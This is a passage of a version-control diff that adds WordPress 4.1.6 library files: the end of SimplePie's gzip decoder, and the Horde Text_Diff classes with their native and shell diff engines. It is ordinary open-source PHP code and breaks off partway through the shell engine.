+		trigger_error("Cannot write property $name", E_USER_ERROR);
+	}
+
+	/**
+	 * Set the compressed string and related properties
+	 *
+	 * @param string $data
+	 */
+	public function __construct($data)
+	{
+		$this->compressed_data = $data;
+		$this->compressed_size = strlen($data);
+	}
+
+	/**
+	 * Decode the GZIP stream
+	 *
+	 * @return bool Successfulness
+	 */
+	public function parse()
+	{
+		if ($this->compressed_size >= $this->min_compressed_size)
+		{
+			// Check ID1, ID2, and CM
+			if (substr($this->compressed_data, 0, 3) !== "\x1F\x8B\x08")
+			{
+				return false;
+			}
+
+			// Get the FLG (FLaGs)
+			$this->flags = ord($this->compressed_data[3]);
+
+			// FLG bits above (1 << 4) are reserved
+			if ($this->flags > 0x1F)
+			{
+				return false;
+			}
+
+			// Advance the pointer after the above
+			$this->position += 4;
+
+			// MTIME
+			$mtime = substr($this->compressed_data, $this->position, 4);
+			// Reverse the string if we're on a big-endian arch because l is the only signed long and is machine endianness
+			if (current(unpack('S', "\x00\x01")) === 1)
+			{
+				$mtime = strrev($mtime);
+			}
+			$this->MTIME = current(unpack('l', $mtime));
+			$this->position += 4;
+
+			// Get the XFL (eXtra FLags)
+			$this->XFL = ord($this->compressed_data[$this->position++]);
+
+			// Get the OS (Operating System)
+			$this->OS = ord($this->compressed_data[$this->position++]);
+
+			// Parse the FEXTRA
+			if ($this->flags & 4)
+			{
+				// Read subfield IDs
+				$this->SI1 = $this->compressed_data[$this->position++];
+				$this->SI2 = $this->compressed_data[$this->position++];
+
+				// SI2 set to zero is reserved for future use
+				if ($this->SI2 === "\x00")
+				{
+					return false;
+				}
+
+				// Get the length of the extra field
+				$len = current(unpack('v', substr($this->compressed_data, $this->position, 2)));
+				$this->position += 2;
+
+				// Check the length of the string is still valid
+				$this->min_compressed_size += $len + 4;
+				if ($this->compressed_size >= $this->min_compressed_size)
+				{
+					// Set the extra field to the given data
+					$this->extra_field = substr($this->compressed_data, $this->position, $len);
+					$this->position += $len;
+				}
+				else
+				{
+					return false;
+				}
+			}
+
+			// Parse the FNAME
+			if ($this->flags & 8)
+			{
+				// Get the length of the filename
+				$len = strcspn($this->compressed_data, "\x00", $this->position);
+
+				// Check the length of the string is still valid
+				$this->min_compressed_size += $len + 1;
+				if ($this->compressed_size >= $this->min_compressed_size)
+				{
+					// Set the original filename to the given string
+					$this->filename = substr($this->compressed_data, $this->position, $len);
+					$this->position += $len + 1;
+				}
+				else
+				{
+					return false;
+				}
+			}
+
+			// Parse the FCOMMENT
+			if ($this->flags & 16)
+			{
+				// Get the length of the comment
+				$len = strcspn($this->compressed_data, "\x00", $this->position);
+
+				// Check the length of the string is still valid
+				$this->min_compressed_size += $len + 1;
+				if ($this->compressed_size >= $this->min_compressed_size)
+				{
+					// Set the original comment to the given string
+					$this->comment = substr($this->compressed_data, $this->position, $len);
+					$this->position += $len + 1;
+				}
+				else
+				{
+					return false;
+				}
+			}
+
+			// Parse the FHCRC
+			if ($this->flags & 2)
+			{
+				// Check the length of the string is still valid
+				$this->min_compressed_size += $len + 2;
+				if ($this->compressed_size >= $this->min_compressed_size)
+				{
+					// Read the CRC
+					$crc = current(unpack('v', substr($this->compressed_data, $this->position, 2)));
+
+					// Check the CRC matches
+					if ((crc32(substr($this->compressed_data, 0, $this->position)) & 0xFFFF) === $crc)
+					{
+						$this->position += 2;
+					}
+					else
+					{
+						return false;
+					}
+				}
+				else
+				{
+					return false;
+				}
+			}
+
+			// Decompress the actual data
+			if (($this->data = gzinflate(substr($this->compressed_data, $this->position, -8))) === false)
+			{
+				return false;
+			}
+			else
+			{
+				$this->position = $this->compressed_size - 8;
+			}
+
+			// Check CRC of data
+			$crc = current(unpack('V', substr($this->compressed_data, $this->position, 4)));
+			$this->position += 4;
+			/*if (extension_loaded('hash') && sprintf('%u', current(unpack('V', hash('crc32b', $this->data)))) !== sprintf('%u', $crc))
+			{
+				return false;
+			}*/
+
+			// Check ISIZE of data
+			$isize = current(unpack('V', substr($this->compressed_data, $this->position, 4)));
+			$this->position += 4;
+			if (sprintf('%u', strlen($this->data) & 0xFFFFFFFF) !== sprintf('%u', $isize))
+			{
+				return false;
+			}
+
+			// Wow, against all odds, we've actually got a valid gzip string
+			return true;
+		}
+		else
+		{
+			return false;
+		}
+	}
+}
Index: /tags/4.1.6/src/wp-includes/Text/Diff.php
===================================================================
--- /tags/4.1.6/src/wp-includes/Text/Diff.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/Text/Diff.php	(revision 33402)
@@ -0,0 +1,450 @@
+<?php
+/**
+ * General API for generating and formatting diffs - the differences between
+ * two sequences of strings.
+ *
+ * The original PHP version of this code was written by Geoffrey T. Dairiki
+ * <dairiki@dairiki.org>, and is used/adapted with his permission.
+ *
+ * Copyright 2004 Geoffrey T. Dairiki <dairiki@dairiki.org>
+ * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
+ *
+ * See the enclosed file COPYING for license information (LGPL). If you did
+ * not receive this file, see http://opensource.org/licenses/lgpl-license.php.
+ *
+ * @package Text_Diff
+ * @author  Geoffrey T. Dairiki <dairiki@dairiki.org>
+ */
+class Text_Diff {
+
+    /**
+     * Array of changes.
+     *
+     * @var array
+     */
+    var $_edits;
+
+    /**
+     * Computes diffs between sequences of strings.
+     *
+     * @param string $engine     Name of the diffing engine to use.  'auto'
+     *                           will automatically select the best.
+     * @param array $params      Parameters to pass to the diffing engine.
+     *                           Normally an array of two arrays, each
+     *                           containing the lines from a file.
+     */
+    function Text_Diff($engine, $params)
+    {
+        // Backward compatibility workaround.
+        if (!is_string($engine)) {
+            $params = array($engine, $params);
+            $engine = 'auto';
+        }
+
+        if ($engine == 'auto') {
+            $engine = extension_loaded('xdiff') ? 'xdiff' : 'native';
+        } else {
+            $engine = basename($engine);
+        }
+
+        // WP #7391
+        require_once dirname(__FILE__).'/Diff/Engine/' . $engine . '.php';
+        $class = 'Text_Diff_Engine_' . $engine;
+        $diff_engine = new $class();
+
+        $this->_edits = call_user_func_array(array($diff_engine, 'diff'), $params);
+    }
+
+    /**
+     * Returns the array of differences.
+     */
+    function getDiff()
+    {
+        return $this->_edits;
+    }
+
+    /**
+     * returns the number of new (added) lines in a given diff.
+     *
+     * @since Text_Diff 1.1.0
+     *
+     * @return integer The number of new lines
+     */
+    function countAddedLines()
+    {
+        $count = 0;
+        foreach ($this->_edits as $edit) {
+            if (is_a($edit, 'Text_Diff_Op_add') ||
+                is_a($edit, 'Text_Diff_Op_change')) {
+                $count += $edit->nfinal();
+            }
+        }
+        return $count;
+    }
+
+    /**
+     * Returns the number of deleted (removed) lines in a given diff.
+     *
+     * @since Text_Diff 1.1.0
+     *
+     * @return integer The number of deleted lines
+     */
+    function countDeletedLines()
+    {
+        $count = 0;
+        foreach ($this->_edits as $edit) {
+            if (is_a($edit, 'Text_Diff_Op_delete') ||
+                is_a($edit, 'Text_Diff_Op_change')) {
+                $count += $edit->norig();
+            }
+        }
+        return $count;
+    }
+
+    /**
+     * Computes a reversed diff.
+     *
+     * Example:
+     * <code>
+     * $diff = new Text_Diff($lines1, $lines2);
+     * $rev = $diff->reverse();
+     * </code>
+     *
+     * @return Text_Diff  A Diff object representing the inverse of the
+     *                    original diff.  Note that we purposely don't return a
+     *                    reference here, since this essentially is a clone()
+     *                    method.
+     */
+    function reverse()
+    {
+        if (version_compare(zend_version(), '2', '>')) {
+            $rev = clone($this);
+        } else {
+            $rev = $this;
+        }
+        $rev->_edits = array();
+        foreach ($this->_edits as $edit) {
+            $rev->_edits[] = $edit->reverse();
+        }
+        return $rev;
+    }
+
+    /**
+     * Checks for an empty diff.
+     *
+     * @return boolean  True if two sequences were identical.
+     */
+    function isEmpty()
+    {
+        foreach ($this->_edits as $edit) {
+            if (!is_a($edit, 'Text_Diff_Op_copy')) {
+                return false;
+            }
+        }
+        return true;
+    }
+
+    /**
+     * Computes the length of the Longest Common Subsequence (LCS).
+     *
+     * This is mostly for diagnostic purposes.
+     *
+     * @return integer  The length of the LCS.
+     */
+    function lcs()
+    {
+        $lcs = 0;
+        foreach ($this->_edits as $edit) {
+            if (is_a($edit, 'Text_Diff_Op_copy')) {
+                $lcs += count($edit->orig);
+            }
+        }
+        return $lcs;
+    }
+
+    /**
+     * Gets the original set of lines.
+     *
+     * This reconstructs the $from_lines parameter passed to the constructor.
+     *
+     * @return array  The original sequence of strings.
+     */
+    function getOriginal()
+    {
+        $lines = array();
+        foreach ($this->_edits as $edit) {
+            if ($edit->orig) {
+                array_splice($lines, count($lines), 0, $edit->orig);
+            }
+        }
+        return $lines;
+    }
+
+    /**
+     * Gets the final set of lines.
+     *
+     * This reconstructs the $to_lines parameter passed to the constructor.
+     *
+     * @return array  The sequence of strings.
+     */
+    function getFinal()
+    {
+        $lines = array();
+        foreach ($this->_edits as $edit) {
+            if ($edit->final) {
+                array_splice($lines, count($lines), 0, $edit->final);
+            }
+        }
+        return $lines;
+    }
+
+    /**
+     * Removes trailing newlines from a line of text. This is meant to be used
+     * with array_walk().
+     *
+     * @param string $line  The line to trim.
+     * @param integer $key  The index of the line in the array. Not used.
+     */
+    static function trimNewlines(&$line, $key)
+    {
+        $line = str_replace(array("\n", "\r"), '', $line);
+    }
+
+    /**
+     * Determines the location of the system temporary directory.
+     *
+     * @static
+     *
+     * @access protected
+     *
+     * @return string  A directory name which can be used for temp files.
+     *                 Returns false if one could not be found.
+     */
+    function _getTempDir()
+    {
+        $tmp_locations = array('/tmp', '/var/tmp', 'c:\WUTemp', 'c:\temp',
+                               'c:\windows\temp', 'c:\winnt\temp');
+
+        /* Try PHP's upload_tmp_dir directive. */
+        $tmp = ini_get('upload_tmp_dir');
+
+        /* Otherwise, try to determine the TMPDIR environment variable. */
+        if (!strlen($tmp)) {
+            $tmp = getenv('TMPDIR');
+        }
+
+        /* If we still cannot determine a value, then cycle through a list of
+         * preset possibilities. */
+        while (!strlen($tmp) && count($tmp_locations)) {
+            $tmp_check = array_shift($tmp_locations);
+            if (@is_dir($tmp_check)) {
+                $tmp = $tmp_check;
+            }
+        }
+
+        /* If it is still empty, we have failed, so return false; otherwise
+         * return the directory determined. */
+        return strlen($tmp) ? $tmp : false;
+    }
+
+    /**
+     * Checks a diff for validity.
+     *
+     * This is here only for debugging purposes.
+     */
+    function _check($from_lines, $to_lines)
+    {
+        if (serialize($from_lines) != serialize($this->getOriginal())) {
+            trigger_error("Reconstructed original doesn't match", E_USER_ERROR);
+        }
+        if (serialize($to_lines) != serialize($this->getFinal())) {
+            trigger_error("Reconstructed final doesn't match", E_USER_ERROR);
+        }
+
+        $rev = $this->reverse();
+        if (serialize($to_lines) != serialize($rev->getOriginal())) {
+            trigger_error("Reversed original doesn't match", E_USER_ERROR);
+        }
+        if (serialize($from_lines) != serialize($rev->getFinal())) {
+            trigger_error("Reversed final doesn't match", E_USER_ERROR);
+        }
+
+        $prevtype = null;
+        foreach ($this->_edits as $edit) {
+            if ($prevtype == get_class($edit)) {
+                trigger_error("Edit sequence is non-optimal", E_USER_ERROR);
+            }
+            $prevtype = get_class($edit);
+        }
+
+        return true;
+    }
+
+}
+
+/**
+ * @package Text_Diff
+ * @author  Geoffrey T. Dairiki <dairiki@dairiki.org>
+ */
+class Text_MappedDiff extends Text_Diff {
+
+    /**
+     * Computes a diff between sequences of strings.
+     *
+     * This can be used to compute things like case-insensitve diffs, or diffs
+     * which ignore changes in white-space.
+     *
+     * @param array $from_lines         An array of strings.
+     * @param array $to_lines           An array of strings.
+     * @param array $mapped_from_lines  This array should have the same size
+     *                                  number of elements as $from_lines.  The
+     *                                  elements in $mapped_from_lines and
+     *                                  $mapped_to_lines are what is actually
+     *                                  compared when computing the diff.
+     * @param array $mapped_to_lines    This array should have the same number
+     *                                  of elements as $to_lines.
+     */
+    function Text_MappedDiff($from_lines, $to_lines,
+                             $mapped_from_lines, $mapped_to_lines)
+    {
+        assert(count($from_lines) == count($mapped_from_lines));
+        assert(count($to_lines) == count($mapped_to_lines));
+
+        parent::Text_Diff($mapped_from_lines, $mapped_to_lines);
+
+        $xi = $yi = 0;
+        for ($i = 0; $i < count($this->_edits); $i++) {
+            $orig = &$this->_edits[$i]->orig;
+            if (is_array($orig)) {
+                $orig = array_slice($from_lines, $xi, count($orig));
+                $xi += count($orig);
+            }
+
+            $final = &$this->_edits[$i]->final;
+            if (is_array($final)) {
+                $final = array_slice($to_lines, $yi, count($final));
+                $yi += count($final);
+            }
+        }
+    }
+
+}
+
+/**
+ * @package Text_Diff
+ * @author  Geoffrey T. Dairiki <dairiki@dairiki.org>
+ *
+ * @access private
+ */
+class Text_Diff_Op {
+
+    var $orig;
+    var $final;
+
+    function &reverse()
+    {
+        trigger_error('Abstract method', E_USER_ERROR);
+    }
+
+    function norig()
+    {
+        return $this->orig ? count($this->orig) : 0;
+    }
+
+    function nfinal()
+    {
+        return $this->final ? count($this->final) : 0;
+    }
+
+}
+
+/**
+ * @package Text_Diff
+ * @author  Geoffrey T. Dairiki <dairiki@dairiki.org>
+ *
+ * @access private
+ */
+class Text_Diff_Op_copy extends Text_Diff_Op {
+
+    function Text_Diff_Op_copy($orig, $final = false)
+    {
+        if (!is_array($final)) {
+            $final = $orig;
+        }
+        $this->orig = $orig;
+        $this->final = $final;
+    }
+
+    function &reverse()
+    {
+        $reverse = new Text_Diff_Op_copy($this->final, $this->orig);
+        return $reverse;
+    }
+
+}
+
+/**
+ * @package Text_Diff
+ * @author  Geoffrey T. Dairiki <dairiki@dairiki.org>
+ *
+ * @access private
+ */
+class Text_Diff_Op_delete extends Text_Diff_Op {
+
+    function Text_Diff_Op_delete($lines)
+    {
+        $this->orig = $lines;
+        $this->final = false;
+    }
+
+    function &reverse()
+    {
+        $reverse = new Text_Diff_Op_add($this->orig);
+        return $reverse;
+    }
+
+}
+
+/**
+ * @package Text_Diff
+ * @author  Geoffrey T. Dairiki <dairiki@dairiki.org>
+ *
+ * @access private
+ */
+class Text_Diff_Op_add extends Text_Diff_Op {
+
+    function Text_Diff_Op_add($lines)
+    {
+        $this->final = $lines;
+        $this->orig = false;
+    }
+
+    function &reverse()
+    {
+        $reverse = new Text_Diff_Op_delete($this->final);
+        return $reverse;
+    }
+
+}
+
+/**
+ * @package Text_Diff
+ * @author  Geoffrey T. Dairiki <dairiki@dairiki.org>
+ *
+ * @access private
+ */
+class Text_Diff_Op_change extends Text_Diff_Op {
+
+    function Text_Diff_Op_change($orig, $final)
+    {
+        $this->orig = $orig;
+        $this->final = $final;
+    }
+
+    function &reverse()
+    {
+        $reverse = new Text_Diff_Op_change($this->final, $this->orig);
+        return $reverse;
+    }
+
+}
Index: /tags/4.1.6/src/wp-includes/Text/Diff/Engine/native.php
===================================================================
--- /tags/4.1.6/src/wp-includes/Text/Diff/Engine/native.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/Text/Diff/Engine/native.php	(revision 33402)
@@ -0,0 +1,436 @@
+<?php
+/**
+ * Class used internally by Text_Diff to actually compute the diffs.
+ *
+ * This class is implemented using native PHP code.
+ *
+ * The algorithm used here is mostly lifted from the perl module
+ * Algorithm::Diff (version 1.06) by Ned Konz, which is available at:
+ * http://www.perl.com/CPAN/authors/id/N/NE/NEDKONZ/Algorithm-Diff-1.06.zip
+ *
+ * More ideas are taken from: http://www.ics.uci.edu/~eppstein/161/960229.html
+ *
+ * Some ideas (and a bit of code) are taken from analyze.c, of GNU
+ * diffutils-2.7, which can be found at:
+ * ftp://gnudist.gnu.org/pub/gnu/diffutils/diffutils-2.7.tar.gz
+ *
+ * Some ideas (subdivision by NCHUNKS > 2, and some optimizations) are from
+ * Geoffrey T. Dairiki <dairiki@dairiki.org>. The original PHP version of this
+ * code was written by him, and is used/adapted with his permission.
+ *
+ * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
+ *
+ * See the enclosed file COPYING for license information (LGPL). If you did
+ * not receive this file, see http://opensource.org/licenses/lgpl-license.php.
+ *
+ * @author  Geoffrey T. Dairiki <dairiki@dairiki.org>
+ * @package Text_Diff
+ */
+class Text_Diff_Engine_native {
+
+    function diff($from_lines, $to_lines)
+    {
+        array_walk($from_lines, array('Text_Diff', 'trimNewlines'));
+        array_walk($to_lines, array('Text_Diff', 'trimNewlines'));
+
+        $n_from = count($from_lines);
+        $n_to = count($to_lines);
+
+        $this->xchanged = $this->ychanged = array();
+        $this->xv = $this->yv = array();
+        $this->xind = $this->yind = array();
+        unset($this->seq);
+        unset($this->in_seq);
+        unset($this->lcs);
+
+        // Skip leading common lines.
+        for ($skip = 0; $skip < $n_from && $skip < $n_to; $skip++) {
+            if ($from_lines[$skip] !== $to_lines[$skip]) {
+                break;
+            }
+            $this->xchanged[$skip] = $this->ychanged[$skip] = false;
+        }
+
+        // Skip trailing common lines.
+        $xi = $n_from; $yi = $n_to;
+        for ($endskip = 0; --$xi > $skip && --$yi > $skip; $endskip++) {
+            if ($from_lines[$xi] !== $to_lines[$yi]) {
+                break;
+            }
+            $this->xchanged[$xi] = $this->ychanged[$yi] = false;
+        }
+
+        // Ignore lines which do not exist in both files.
+        for ($xi = $skip; $xi < $n_from - $endskip; $xi++) {
+            $xhash[$from_lines[$xi]] = 1;
+        }
+        for ($yi = $skip; $yi < $n_to - $endskip; $yi++) {
+            $line = $to_lines[$yi];
+            if (($this->ychanged[$yi] = empty($xhash[$line]))) {
+                continue;
+            }
+            $yhash[$line] = 1;
+            $this->yv[] = $line;
+            $this->yind[] = $yi;
+        }
+        for ($xi = $skip; $xi < $n_from - $endskip; $xi++) {
+            $line = $from_lines[$xi];
+            if (($this->xchanged[$xi] = empty($yhash[$line]))) {
+                continue;
+            }
+            $this->xv[] = $line;
+            $this->xind[] = $xi;
+        }
+
+        // Find the LCS.
+        $this->_compareseq(0, count($this->xv), 0, count($this->yv));
+
+        // Merge edits when possible.
+        $this->_shiftBoundaries($from_lines, $this->xchanged, $this->ychanged);
+        $this->_shiftBoundaries($to_lines, $this->ychanged, $this->xchanged);
+
+        // Compute the edit operations.
+        $edits = array();
+        $xi = $yi = 0;
+        while ($xi < $n_from || $yi < $n_to) {
+            assert($yi < $n_to || $this->xchanged[$xi]);
+            assert($xi < $n_from || $this->ychanged[$yi]);
+
+            // Skip matching "snake".
+            $copy = array();
+            while ($xi < $n_from && $yi < $n_to
+                   && !$this->xchanged[$xi] && !$this->ychanged[$yi]) {
+                $copy[] = $from_lines[$xi++];
+                ++$yi;
+            }
+            if ($copy) {
+                $edits[] = new Text_Diff_Op_copy($copy);
+            }
+
+            // Find deletes & adds.
+            $delete = array();
+            while ($xi < $n_from && $this->xchanged[$xi]) {
+                $delete[] = $from_lines[$xi++];
+            }
+
+            $add = array();
+            while ($yi < $n_to && $this->ychanged[$yi]) {
+                $add[] = $to_lines[$yi++];
+            }
+
+            if ($delete && $add) {
+                $edits[] = new Text_Diff_Op_change($delete, $add);
+            } elseif ($delete) {
+                $edits[] = new Text_Diff_Op_delete($delete);
+            } elseif ($add) {
+                $edits[] = new Text_Diff_Op_add($add);
+            }
+        }
+
+        return $edits;
+    }
+
+    /**
+     * Divides the Largest Common Subsequence (LCS) of the sequences (XOFF,
+     * XLIM) and (YOFF, YLIM) into NCHUNKS approximately equally sized
+     * segments.
+     *
+     * Returns (LCS, PTS).  LCS is the length of the LCS. PTS is an array of
+     * NCHUNKS+1 (X, Y) indexes giving the diving points between sub
+     * sequences.  The first sub-sequence is contained in (X0, X1), (Y0, Y1),
+     * the second in (X1, X2), (Y1, Y2) and so on.  Note that (X0, Y0) ==
+     * (XOFF, YOFF) and (X[NCHUNKS], Y[NCHUNKS]) == (XLIM, YLIM).
+     *
+     * This function assumes that the first lines of the specified portions of
+     * the two files do not match, and likewise that the last lines do not
+     * match.  The caller must trim matching lines from the beginning and end
+     * of the portions it is going to specify.
+     */
+    function _diag ($xoff, $xlim, $yoff, $ylim, $nchunks)
+    {
+        $flip = false;
+
+        if ($xlim - $xoff > $ylim - $yoff) {
+            /* Things seems faster (I'm not sure I understand why) when the
+             * shortest sequence is in X. */
+            $flip = true;
+            list ($xoff, $xlim, $yoff, $ylim)
+                = array($yoff, $ylim, $xoff, $xlim);
+        }
+
+        if ($flip) {
+            for ($i = $ylim - 1; $i >= $yoff; $i--) {
+                $ymatches[$this->xv[$i]][] = $i;
+            }
+        } else {
+            for ($i = $ylim - 1; $i >= $yoff; $i--) {
+                $ymatches[$this->yv[$i]][] = $i;
+            }
+        }
+
+        $this->lcs = 0;
+        $this->seq[0]= $yoff - 1;
+        $this->in_seq = array();
+        $ymids[0] = array();
+
+        $numer = $xlim - $xoff + $nchunks - 1;
+        $x = $xoff;
+        for ($chunk = 0; $chunk < $nchunks; $chunk++) {
+            if ($chunk > 0) {
+                for ($i = 0; $i <= $this->lcs; $i++) {
+                    $ymids[$i][$chunk - 1] = $this->seq[$i];
+                }
+            }
+
+            $x1 = $xoff + (int)(($numer + ($xlim - $xoff) * $chunk) / $nchunks);
+            for (; $x < $x1; $x++) {
+                $line = $flip ? $this->yv[$x] : $this->xv[$x];
+                if (empty($ymatches[$line])) {
+                    continue;
+                }
+                $matches = $ymatches[$line];
+                reset($matches);
+                while (list(, $y) = each($matches)) {
+                    if (empty($this->in_seq[$y])) {
+                        $k = $this->_lcsPos($y);
+                        assert($k > 0);
+                        $ymids[$k] = $ymids[$k - 1];
+                        break;
+                    }
+                }
+                while (list(, $y) = each($matches)) {
+                    if ($y > $this->seq[$k - 1]) {
+                        assert($y <= $this->seq[$k]);
+                        /* Optimization: this is a common case: next match is
+                         * just replacing previous match. */
+                        $this->in_seq[$this->seq[$k]] = false;
+                        $this->seq[$k] = $y;
+                        $this->in_seq[$y] = 1;
+                    } elseif (empty($this->in_seq[$y])) {
+                        $k = $this->_lcsPos($y);
+                        assert($k > 0);
+                        $ymids[$k] = $ymids[$k - 1];
+                    }
+                }
+            }
+        }
+
+        $seps[] = $flip ? array($yoff, $xoff) : array($xoff, $yoff);
+        $ymid = $ymids[$this->lcs];
+        for ($n = 0; $n < $nchunks - 1; $n++) {
+            $x1 = $xoff + (int)(($numer + ($xlim - $xoff) * $n) / $nchunks);
+            $y1 = $ymid[$n] + 1;
+            $seps[] = $flip ? array($y1, $x1) : array($x1, $y1);
+        }
+        $seps[] = $flip ? array($ylim, $xlim) : array($xlim, $ylim);
+
+        return array($this->lcs, $seps);
+    }
+
+    function _lcsPos($ypos)
+    {
+        $end = $this->lcs;
+        if ($end == 0 || $ypos > $this->seq[$end]) {
+            $this->seq[++$this->lcs] = $ypos;
+            $this->in_seq[$ypos] = 1;
+            return $this->lcs;
+        }
+
+        $beg = 1;
+        while ($beg < $end) {
+            $mid = (int)(($beg + $end) / 2);
+            if ($ypos > $this->seq[$mid]) {
+                $beg = $mid + 1;
+            } else {
+                $end = $mid;
+            }
+        }
+
+        assert($ypos != $this->seq[$end]);
+
+        $this->in_seq[$this->seq[$end]] = false;
+        $this->seq[$end] = $ypos;
+        $this->in_seq[$ypos] = 1;
+        return $end;
+    }
+
+    /**
+     * Finds LCS of two sequences.
+     *
+     * The results are recorded in the vectors $this->{x,y}changed[], by
+     * storing a 1 in the element for each line that is an insertion or
+     * deletion (ie. is not in the LCS).
+     *
+     * The subsequence of file 0 is (XOFF, XLIM) and likewise for file 1.
+     *
+     * Note that XLIM, YLIM are exclusive bounds.  All line numbers are
+     * origin-0 and discarded lines are not counted.
+     */
+    function _compareseq ($xoff, $xlim, $yoff, $ylim)
+    {
+        /* Slide down the bottom initial diagonal. */
+        while ($xoff < $xlim && $yoff < $ylim
+               && $this->xv[$xoff] == $this->yv[$yoff]) {
+            ++$xoff;
+            ++$yoff;
+        }
+
+        /* Slide up the top initial diagonal. */
+        while ($xlim > $xoff && $ylim > $yoff
+               && $this->xv[$xlim - 1] == $this->yv[$ylim - 1]) {
+            --$xlim;
+            --$ylim;
+        }
+
+        if ($xoff == $xlim || $yoff == $ylim) {
+            $lcs = 0;
+        } else {
+            /* This is ad hoc but seems to work well.  $nchunks =
+             * sqrt(min($xlim - $xoff, $ylim - $yoff) / 2.5); $nchunks =
+             * max(2,min(8,(int)$nchunks)); */
+            $nchunks = min(7, $xlim - $xoff, $ylim - $yoff) + 1;
+            list($lcs, $seps)
+                = $this->_diag($xoff, $xlim, $yoff, $ylim, $nchunks);
+        }
+
+        if ($lcs == 0) {
+            /* X and Y sequences have no common subsequence: mark all
+             * changed. */
+            while ($yoff < $ylim) {
+                $this->ychanged[$this->yind[$yoff++]] = 1;
+            }
+            while ($xoff < $xlim) {
+                $this->xchanged[$this->xind[$xoff++]] = 1;
+            }
+        } else {
+            /* Use the partitions to split this problem into subproblems. */
+            reset($seps);
+            $pt1 = $seps[0];
+            while ($pt2 = next($seps)) {
+                $this->_compareseq ($pt1[0], $pt2[0], $pt1[1], $pt2[1]);
+                $pt1 = $pt2;
+            }
+        }
+    }
+
+    /**
+     * Adjusts inserts/deletes of identical lines to join changes as much as
+     * possible.
+     *
+     * We do something when a run of changed lines include a line at one end
+     * and has an excluded, identical line at the other.  We are free to
+     * choose which identical line is included.  `compareseq' usually chooses
+     * the one at the beginning, but usually it is cleaner to consider the
+     * following identical line to be the "change".
+     *
+     * This is extracted verbatim from analyze.c (GNU diffutils-2.7).
+     */
+    function _shiftBoundaries($lines, &$changed, $other_changed)
+    {
+        $i = 0;
+        $j = 0;
+
+        assert('count($lines) == count($changed)');
+        $len = count($lines);
+        $other_len = count($other_changed);
+
+        while (1) {
+            /* Scan forward to find the beginning of another run of
+             * changes. Also keep track of the corresponding point in the
+             * other file.
+             *
+             * Throughout this code, $i and $j are adjusted together so that
+             * the first $i elements of $changed and the first $j elements of
+             * $other_changed both contain the same number of zeros (unchanged
+             * lines).
+             *
+             * Furthermore, $j is always kept so that $j == $other_len or
+             * $other_changed[$j] == false. */
+            while ($j < $other_len && $other_changed[$j]) {
+                $j++;
+            }
+
+            while ($i < $len && ! $changed[$i]) {
+                assert('$j < $other_len && ! $other_changed[$j]');
+                $i++; $j++;
+                while ($j < $other_len && $other_changed[$j]) {
+                    $j++;
+                }
+            }
+
+            if ($i == $len) {
+                break;
+            }
+
+            $start = $i;
+
+            /* Find the end of this run of changes. */
+            while (++$i < $len && $changed[$i]) {
+                continue;
+            }
+
+            do {
+                /* Record the length of this run of changes, so that we can
+                 * later determine whether the run has grown. */
+                $runlength = $i - $start;
+
+                /* Move the changed region back, so long as the previous
+                 * unchanged line matches the last changed one.  This merges
+                 * with previous changed regions. */
+                while ($start > 0 && $lines[$start - 1] == $lines[$i - 1]) {
+                    $changed[--$start] = 1;
+                    $changed[--$i] = false;
+                    while ($start > 0 && $changed[$start - 1]) {
+                        $start--;
+                    }
+                    assert('$j > 0');
+                    while ($other_changed[--$j]) {
+                        continue;
+                    }
+                    assert('$j >= 0 && !$other_changed[$j]');
+                }
+
+                /* Set CORRESPONDING to the end of the changed run, at the
+                 * last point where it corresponds to a changed run in the
+                 * other file. CORRESPONDING == LEN means no such point has
+                 * been found. */
+                $corresponding = $j < $other_len ? $i : $len;
+
+                /* Move the changed region forward, so long as the first
+                 * changed line matches the following unchanged one.  This
+                 * merges with following changed regions.  Do this second, so
+                 * that if there are no merges, the changed region is moved
+                 * forward as far as possible. */
+                while ($i < $len && $lines[$start] == $lines[$i]) {
+                    $changed[$start++] = false;
+                    $changed[$i++] = 1;
+                    while ($i < $len && $changed[$i]) {
+                        $i++;
+                    }
+
+                    assert('$j < $other_len && ! $other_changed[$j]');
+                    $j++;
+                    if ($j < $other_len && $other_changed[$j]) {
+                        $corresponding = $i;
+                        while ($j < $other_len && $other_changed[$j]) {
+                            $j++;
+                        }
+                    }
+                }
+            } while ($runlength != $i - $start);
+
+            /* If possible, move the fully-merged run of changes back to a
+             * corresponding run in the other file. */
+            while ($corresponding < $i) {
+                $changed[--$start] = 1;
+                $changed[--$i] = 0;
+                assert('$j > 0');
+                while ($other_changed[--$j]) {
+                    continue;
+                }
+                assert('$j >= 0 && !$other_changed[$j]');
+            }
+        }
+    }
+
+}
Index: /tags/4.1.6/src/wp-includes/Text/Diff/Engine/shell.php
===================================================================
--- /tags/4.1.6/src/wp-includes/Text/Diff/Engine/shell.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/Text/Diff/Engine/shell.php	(revision 33402)
@@ -0,0 +1,162 @@
+<?php
+/**
+ * Class used internally by Diff to actually compute the diffs.
+ *
+ * This class uses the Unix `diff` program via shell_exec to compute the
+ * differences between the two input arrays.
+ *
+ * Copyright 2007-2010 The Horde Project (http://www.horde.org/)
+ *
+ * See the enclosed file COPYING for license information (LGPL). If you did
+ * not receive this file, see http://opensource.org/licenses/lgpl-license.php.
+ *
+ * @author  Milian Wolff <mail@milianw.de>
+ * @package Text_Diff
+ * @since   0.3.0
+ */
+class Text_Diff_Engine_shell {
+
+    /**
+     * Path to the diff executable
+     *
+     * @var string
+     */
+    var $_diffCommand = 'diff';
+
+    /**
+     * Returns the array of differences.
+     *
+     * @param array $from_lines lines of text from old file
+     * @param array $to_lines   lines of text from new file
+     *
+     * @return array all changes made (array with Text_Diff_Op_* objects)
+     */
+    function diff($from_lines, $to_lines)
+    {
+        array_walk($from_lines, array('Text_Diff', 'trimNewlines'));
+        array_walk($to_lines, array('Text_Diff', 'trimNewlines'));
+
+        $temp_dir = Text_Diff::_getTempDir();
+
+        // Execute gnu diff or similar to get a standard diff file.
+        $from_file = tempnam($temp_dir, 'Text_Diff');
+        $to_file = tempnam($temp_dir, 'Text_Diff');
+        $fp = fopen($from_file, 'w');
+        fwrite($fp, implode("\n", $from_lines));
+        fclose($fp);
+        $fp = fopen($to_file, 'w');
+        fwrite($fp, implode("\n", $to_lines));
+        fclose($fp);
+        $diff = shell_exec($this->_diffCommand . ' ' . $from_file . ' ' . $to_file);
+        unlink($from_file);
+        unlink($to_file);
+
